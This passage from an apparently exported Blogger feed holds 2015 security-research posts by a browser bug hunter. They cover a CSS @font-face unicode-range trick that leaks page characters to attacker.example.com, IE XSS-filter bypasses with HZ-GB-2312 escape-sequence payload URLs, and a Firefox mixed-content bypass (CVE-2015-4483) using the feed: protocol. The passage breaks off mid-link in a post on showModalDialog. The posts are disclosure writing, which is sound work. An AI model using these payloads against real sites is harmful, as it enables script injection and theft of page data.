@font-face rule\u003C\/a\u003E.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nUsing this technique, an attacker can read page's text partially by CSS only.\u003Cbr \/\u003E\nAn attacker might use this technique in the following cases:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n- Browser's XSS filter bypass (e.g. XSS Auditor does not block \u0026lt;style\u0026gt; injection)\u003Cbr \/\u003E\n- Only CSS injection is allowed in the target page\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nAs far as I know, known CSS based attack can read attribute (See Attribute Reader:\u0026nbsp;\u003Ca href=\"http:\/\/p42.us\/css\/\"\u003Ehttp:\/\/p42.us\/css\/\u003C\/a\u003E) but can't read characters of text node. This vector can do it, not perfect though :)\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nSo far, this vector can be used in Chrome and Firefox Nightly 44.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nLet's go:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;style\u0026gt;\u003Cbr \/\u003E\n@font-face{\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Efont-family:poc;\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Esrc: url(http:\/\/attacker.example.com\/?A); \/* fetched *\/\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Eunicode-range:U+0041;\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n@font-face{\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Efont-family:poc;\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Esrc: url(http:\/\/attacker.example.com\/?B); \/* fetched too *\/\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Eunicode-range:U+0042;\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n@font-face{\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Efont-family:poc;\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Esrc: url(http:\/\/attacker.example.com\/?C); \/* not fetched *\/\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Eunicode-range:U+0043;\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n#sensitive-information{\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Efont-family:poc;\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n\u0026lt;\/style\u0026gt;\u003Cbr \/\u003E\n\u0026lt;p id=\"sensitive-information\"\u0026gt;AB\u0026lt;\/p\u0026gt;\u003C\/blockquote\u003E\n\u003Cbr \/\u003E\nWhen you access this page, Chrome and Firefox fetch \"?A\" and \"?B\" because text node of sensitive-information contains \"A\" and \"B\" characters. But\u0026nbsp;Chrome and Firefox\u0026nbsp;do not fetch \"?C\" because it does\u0026nbsp;not contain \"C\". This means that we have been able to read \"A\" and \"B\".\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nLet's see another example:\u0026nbsp;\u003Ca href=\"http:\/\/vulnerabledoma.in\/poc_unicode-range2.html\"\u003Ehttp:\/\/vulnerabledoma.in\/poc_unicode-range2.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nYou can see external requests including page text (M,a,s,t,o,K,i,n,u,g,w) from DevTools. Like the following:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhhvloLF4w8TJLH4r-iyuQHS4i3iSPoHUVE82yXTKqZvuUDTKnVelkVz7jdGInqgg-QdZRfMujnK3cIq-30X-xfA5DLhwRYZeQrRWKliXSMHH4W8_UpjZZF7Riqo_HqP3YVpeKFOoBbdz0\/s1600\/unicode-range.png\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"\u003E\u003Cimg border=\"0\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhhvloLF4w8TJLH4r-iyuQHS4i3iSPoHUVE82yXTKqZvuUDTKnVelkVz7jdGInqgg-QdZRfMujnK3cIq-30X-xfA5DLhwRYZeQrRWKliXSMHH4W8_UpjZZF7Riqo_HqP3YVpeKFOoBbdz0\/s1600\/unicode-range.png\" \/\u003E\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nAs you can see, we can't know duplicated characters. But in some cases like this PoC, I think that it can give an attacker enough information.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI reported this trick to Chrome Team but it has been marked WontFix on\u0026nbsp;\u003Ca href=\"https:\/\/code.google.com\/p\/chromium\/issues\/detail?id=543078\"\u003EIssue 543078\u003C\/a\u003E.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIt seems that this behavior is spec'd. See EXAMPLE 13 of \u003Ca href=\"http:\/\/www.w3.org\/TR\/css3-fonts\/#composite-fonts\"\u003Ehttp:\/\/www.w3.org\/TR\/css3-fonts\/#composite-fonts\u003C\/a\u003E. \u0026nbsp;Due to this behavior, users can save bandwidth. But as the side effect, an attacker got new attack vector.\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/7599754967794016938\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/10\/css-based-attack-abusing-unicode-range.html#comment-form","title":"42 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/7599754967794016938"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/7599754967794016938"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/10\/css-based-attack-abusing-unicode-range.html","title":"CSS based Attack: Abusing unicode-range of @font-face"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhhvloLF4w8TJLH4r-iyuQHS4i3iSPoHUVE82yXTKqZvuUDTKnVelkVz7jdGInqgg-QdZRfMujnK3cIq-30X-xfA5DLhwRYZeQrRWKliXSMHH4W8_UpjZZF7Riqo_HqP3YVpeKFOoBbdz0\/s72-c\/unicode-range.png","height":"72","width":"72"},"thr$total":{"$t":"42"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-5988296760722795562"},"published":{"$t":"2015-09-29T07:31:00.000-07:00"},"updated":{"$t":"2016-12-13T05:35:21.551-08:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Encodings"},{"scheme":"http://www.blogger.com/atom/ns#","term":"IE"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSSFilter"}],"title":{"type":"text","$t":"Bypassing IE's XSS Filter with HZ-GB-2312 escape sequence"},"content":{"type":"html","$t":"I would like to share IE XSS Filter bypass with escape sequence of HZ-GB-2312 encoding.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nTo use this vector, we need the target page's Content-Type header which charset is not specified in.\u003Cbr \/\u003E\n\u003Ch2\u003E\nBypass 1\u003C\/h2\u003E\nPoC:\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA\"\u003Ehttp:\/\/vulnerabledoma.in\/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA\u003C\/a\u003E\u003Cbr \/\u003E\nNo user interaction version:\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a\"\u003Ehttp:\/\/vulnerabledoma.in\/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\"~[0x0A]\" is HZ-GB-2312 escape sequence. It seems that XSS filter makes an exception for \"~[0x0A]\" .\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIf Content-Type header has proper charset, it does not work:\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/char_test?charset=utf-8\u0026amp;body=%3Cx~%0Aonmouseover=alert(1)%3EAAA\"\u003Ehttp:\/\/vulnerabledoma.in\/char_test?charset=utf-8\u0026amp;body=%3Cx~%0Aonmouseover=alert(1)%3EAAA\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nOn the other hand, if meta tag has proper charset, it still works:\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a\"\u003Ehttp:\/\/vulnerabledoma.in\/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Ch2\u003E\nBypass 2\u003C\/h2\u003E\n\"~{\" is also HZ-GB-2312 escape sequence. We can use this for bypass. We can call same-origin method in string literal.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nPoC is here:\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/l0.cm\/xssfilter_hz_poc.html\"\u003Ehttp:\/\/l0.cm\/xssfilter_hz_poc.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nPlease click the \"go\" button. You can confirm element.click method is called.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\"click\" is called from the following code:\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/xss_js?q=%22%3B~{valueOf:opener.button.click}\/\/\"\u003Ehttp:\/\/vulnerabledoma.in\/xss_js?q=%22%3B~{valueOf:opener.button.click}\/\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;script\u0026gt;var q=\"\u003Cspan style=\"color: red;\"\u003E\u003Cb\u003E\";~{valueOf:opener.button.click}\/\/\u003C\/b\u003E\u003C\/span\u003E\"\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\n\u003Cbr \/\u003E\nAlso, you can use \"toString\":\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/xss_js?q=%22%3B~{toString:opener.button.click}\/\/\"\u003Ehttp:\/\/vulnerabledoma.in\/xss_js?q=%22%3B~{toString:opener.button.click}\/\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;script\u0026gt;var q=\"\u003Cspan style=\"color: red;\"\u003E\u003Cb\u003E\";~{toString:opener.button.click}\/\/\u003C\/b\u003E\u003C\/span\u003E\"\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\n\u003Cbr \/\u003E\nThat's all. See you next month!"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/5988296760722795562\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/09\/bypassing-xss-filter-hzgb2312.html#comment-form","title":"25 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/5988296760722795562"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/5988296760722795562"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/09\/bypassing-xss-filter-hzgb2312.html","title":"Bypassing IE's XSS Filter with HZ-GB-2312 escape sequence"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"25"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-676670941933253222"},"published":{"$t":"2015-08-26T07:17:00.000-07:00"},"updated":{"$t":"2015-08-26T12:32:07.056-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Firefox"},{"scheme":"http://www.blogger.com/atom/ns#","term":"MixedContent"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"}],"title":{"type":"text","$t":"CVE-2015-4483: Firefox Mixed Content Blocker bypass with feed: protocol"},"content":{"type":"html","$t":"Today, I would like to share details of CVE-2015-4483. This bug was fixed in Firefox 40. Security advisory is \u003Ca href=\"https:\/\/www.mozilla.org\/en-US\/security\/advisories\/mfsa2015-86\/\"\u003Ehere\u003C\/a\u003E.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nUsually, Firefox can block mixed content as follows:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/mkpocapp.appspot.com\/bug1148732\/victim\"\u003Ehttps:\/\/mkpocapp.appspot.com\/bug1148732\/victim\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEg9MjFRCNc3E2RjI2hvo_uqFdBqqP1LfLoXv6SHASEPQiQnowndK9i4frIA3iX7mv9QOl3jZmeg5KYZegAZNyVdiIInzvvjiateB1K6OOks5Sl5r20Tdyo3ZIyUO5GTGnJlKW4To2m4MsE\/s1600\/mixedcontent.png\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"\u003E\u003Cimg border=\"0\" height=\"195\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEg9MjFRCNc3E2RjI2hvo_uqFdBqqP1LfLoXv6SHASEPQiQnowndK9i4frIA3iX7mv9QOl3jZmeg5KYZegAZNyVdiIInzvvjiateB1K6OOks5Sl5r20Tdyo3ZIyUO5GTGnJlKW4To2m4MsE\/s400\/mixedcontent.png\" width=\"400\" \/\u003E\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\nBut using feed: protocol and POST method as follows, we can bypass it:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/l0.cm\/fx_mixed_content_blocker_bypass.html\"\u003Ehttp:\/\/l0.cm\/fx_mixed_content_blocker_bypass.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;form action=\"\u003Cspan style=\"color: red;\"\u003E\u003Cb\u003Efeed:\u003C\/b\u003E\u003C\/span\u003Ehttps:\/\/mkpocapp.appspot.com\/bug1148732\/victim\" \u003Cb\u003E\u003Cspan style=\"color: red;\"\u003Emethod=\"post\"\u003C\/span\u003E\u003C\/b\u003E\u0026gt;\u003Cbr \/\u003E\n\u0026lt;input type=\"submit\" value=\"go\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/form\u0026gt;\u003C\/blockquote\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003C\/div\u003E\n\u003Cbr \/\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgrfWQcCcfSEsfAytscfAV3o0xU7h-Ad2_DmJpeW-2HwnyGSCcI10IrWGV5PHXpSm9ely2AISsRiR8QoD4MVrHFxDrAUgNkq1Xqs52boBB9iuAXXl5eAMt7x5qEJhj7K7GKH86xVr6Jv20\/s1600\/mixedcontentblocker_bypass.png\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"\u003E\u003Cimg border=\"0\" height=\"235\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgrfWQcCcfSEsfAytscfAV3o0xU7h-Ad2_DmJpeW-2HwnyGSCcI10IrWGV5PHXpSm9ely2AISsRiR8QoD4MVrHFxDrAUgNkq1Xqs52boBB9iuAXXl5eAMt7x5qEJhj7K7GKH86xVr6Jv20\/s400\/mixedcontentblocker_bypass.png\" width=\"400\" \/\u003E\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nTo use this bug, we need http: resource in target https: website. So, you might think such website is broken from the beginning. But wait! I think this bug affects many websites.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nPlease go to the following page and see location.protocol:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/l0.cm\/fx_location_protocol_and_feed.html\"\u003Ehttp:\/\/l0.cm\/fx_location_protocol_and_feed.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nlocation.protocol returns \"feed:\". Next, let's see Google Analytics tracking code.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nvar _gaq = _gaq || [];\u003Cbr \/\u003E\n_gaq.push(['_setAccount', 'UA-xxx-y']);\u003Cbr \/\u003E\n_gaq.push(['_trackPageview']);\u003Cbr \/\u003E\n(function() {\u003Cbr \/\u003E\nvar ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true;\u003Cbr \/\u003E\n\u003Cb\u003E\u003Cspan style=\"color: red;\"\u003Ega.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js';\u003C\/span\u003E\u003C\/b\u003E\u003Cbr \/\u003E\nvar s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\u003Cbr \/\u003E\n})();\u003C\/blockquote\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nLet's take a look at red js code. If location.protocol is not \"https:\", insecure ga.js (\u003Cb\u003Ehttp:\u003C\/b\u003E\/\/www.google-analytics.com\/ga.js) is loaded in the page. Combining with \"location.protocol==feed:\" trick, what's going to happen? Yes, we can load insecure js via GA tracking code! :)\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFor example, we can load insecure js in accounts.google.com as follows:\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/l0.cm\/google\/accounts.google.com_mixedscripting.html\"\u003Ehttp:\/\/l0.cm\/google\/accounts.google.com_mixedscripting.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFirefox 40 can block mixed content properly. But it seems that we can still put \"feed:\" string to protocol part of URL.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\nThank you!\u003C\/div\u003E\n\u003C\/div\u003E\n"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/676670941933253222\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/08\/cve-2015-4483.html#comment-form","title":"24 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/676670941933253222"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/676670941933253222"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/08\/cve-2015-4483.html","title":"CVE-2015-4483: Firefox Mixed Content Blocker bypass with feed: protocol"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEg9MjFRCNc3E2RjI2hvo_uqFdBqqP1LfLoXv6SHASEPQiQnowndK9i4frIA3iX7mv9QOl3jZmeg5KYZegAZNyVdiIInzvvjiateB1K6OOks5Sl5r20Tdyo3ZIyUO5GTGnJlKW4To2m4MsE\/s72-c\/mixedcontent.png","height":"72","width":"72"},"thr$total":{"$t":"24"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-6929140523668136982"},"published":{"$t":"2015-07-01T07:12:00.000-07:00"},"updated":{"$t":"2015-08-27T03:46:10.784-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Slides"},{"scheme":"http://www.blogger.com/atom/ns#","term":"VRP"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"My Presentation at CODE BLUE: Bug-hunter's Joy"},"content":{"type":"html","$t":"Today, I'd like to share my presentation in \u003Ca href=\"http:\/\/codeblue.jp\/2014\/en\/\"\u003ECODE BLUE\u003C\/a\u003E. CODE BLUE is an international information security conference which was held in December 2014 at Tokyo.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI spoke about my life as a bug hunter. You can see my experiences in Google VRP, my income in 2013, technical details of interesting XSS bugs and so on. I hope you will enjoy it.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ciframe allowfullscreen=\"\" frameborder=\"0\" height=\"355\" marginheight=\"0\" marginwidth=\"0\" scrolling=\"no\" src=\"\/\/www.slideshare.net\/slideshow\/embed_code\/key\/v9RFU14rHirNWS\" style=\"border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;\" width=\"425\"\u003E \u003C\/iframe\u003E \u003Cbr \/\u003E\n\u003Cdiv style=\"margin-bottom: 5px;\"\u003E\n\u003Cstrong\u003E \u003Ca href=\"https:\/\/www.slideshare.net\/codeblue_jp\/cb14-masato-kinugawaen\" target=\"_blank\" title=\"CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa\"\u003ECODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa\u003C\/a\u003E \u003C\/strong\u003E from \u003Cstrong\u003E\u003Ca href=\"https:\/\/www.slideshare.net\/codeblue_jp\" target=\"_blank\"\u003ECODE BLUE\u003C\/a\u003E\u003C\/strong\u003E \u003C\/div\u003E\n\u003Cbr \/\u003E\nYou can find other great presentations here:\u0026nbsp;\u003Ca href=\"http:\/\/codeblue.jp\/2015\/en\/archive\/2014\/\"\u003Ehttp:\/\/codeblue.jp\/2015\/en\/archive\/2014\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nCODE BLUE will be held again this year. More details are available \u003Ca href=\"http:\/\/codeblue.jp\/2015\/en\/\"\u003Ehere\u003C\/a\u003E.\u0026nbsp;Please come to Tokyo :)\u003Cbr \/\u003E\nThanks!"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/6929140523668136982\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/07\/codeblue.html#comment-form","title":"23 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/6929140523668136982"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/6929140523668136982"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/07\/codeblue.html","title":"My Presentation at CODE BLUE: Bug-hunter's Joy"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"23"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-2034619179842256453"},"published":{"$t":"2015-06-16T05:40:00.000-07:00"},"updated":{"$t":"2015-06-18T06:05:22.878-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"IE"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Safari"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSSFilter"}],"title":{"type":"text","$t":"Bypassing IE's XSS Filter with showModalDialog"},"content":{"type":"html","$t":"Hi there! I'm Masato Kinugawa. Finally, I started my blog in English :)\u003Cbr \/\u003E\nAlso I will continue to write in Japanese as until now: \u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/\"\u003Ehttp:\/\/masatokinugawa.l0.cm\/\u003C\/a\u003E\u003Cbr \/\u003E\nToday, I want to share IE's XSS filter bypass with showModalDialog.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nshowModalDialog function is old and has been removed from the web standards, but it has unique mechanism. I thought it might make my day. That's why I started looking into it.\u003Cbr \/\u003E\nThe function is still supported by IE, Firefox and Safari.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFirst of all, let's recap usage of showModalDialog.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhf_hMNrbN4KFcgSd_a6bXN7IZnvENeg8m_dq5eV_mZ4d0OzkCWUMZCHPXJD0JELUoZCVH3QfJZTnc6IqVBxWKfaZQZNqL3GueM9dgpmyieuiIolmM5JqHj8eaLOjRCWtWef254TlCOg9A\/s1600\/smd.png\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"\u003E\u003Cimg border=\"0\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhf_hMNrbN4KFcgSd_a6bXN7IZnvENeg8m_dq5eV_mZ4d0OzkCWUMZCHPXJD0JELUoZCVH3QfJZTnc6IqVBxWKfaZQZNqL3GueM9dgpmyieuiIolmM5JqHj8eaLOjRCWtWef254TlCOg9A\/s1600\/smd.png\" \/\u003E\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\nThe first argument is URL which you want to open in the modal dialog.\u003Cbr \/\u003E\nThe second argument is the argument which you want to pass to the modal dialog. And you can use it through window.dialogArguments property in the modal window.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nTo pass argument through window.dialogArguments, it seems that two windows must be same origin.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nBut it is different in case of returnValue. Two windows don't have to be same origin in Safari and IE. (Only Firefox needs same origin)\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nHere is my test page:\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/showModalDialog\/opener.html\"\u003Ehttp:\/\/vulnerabledoma.in\/showModalDialog\/opener.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nSafari can pass it to different origin simply. Please test from the \"x-origin\" button.\u003Cbr \/\u003E\nTo reproduce on IE, we need 3xx redirect. Please test from the \"x-origin(redirect)\" button.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThis behavior means that we can pass information to another origin's page via returnValue property in Safari and IE. It might make a hole in some web application. But of course, I don't want to enlighten secure usage of showModalDialog in 2015 :)\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nLet's go to the main, bypass IE's XSS filter.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nExploitable Conditions:\u003Cbr \/\u003E\n\u003Col\u003E\n\u003Cli\u003EXSS exists in string literal of JS.\u003C\/li\u003E\n\u003Cli\u003EAny JS property contains sensitive information.\u003C\/li\u003E\n\u003C\/ol\u003E\n\u003Cbr \/\u003E\nThe following is my test page:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/xss_token?q=[XSS_HERE]\"\u003Ehttp:\/\/vulnerabledoma.in\/xss_token?q=[XSS_HERE]\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;form name=form\u0026gt;\u003Cbr \/\u003E\n\u0026lt;input type=hidden name=token value=f9d150048b\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/form\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script\u0026gt;var q=\"[XSS_HERE]\"\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\n\u003Cbr \/\u003E\nSeeing is believing. Please go to the following PoC using IE:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca 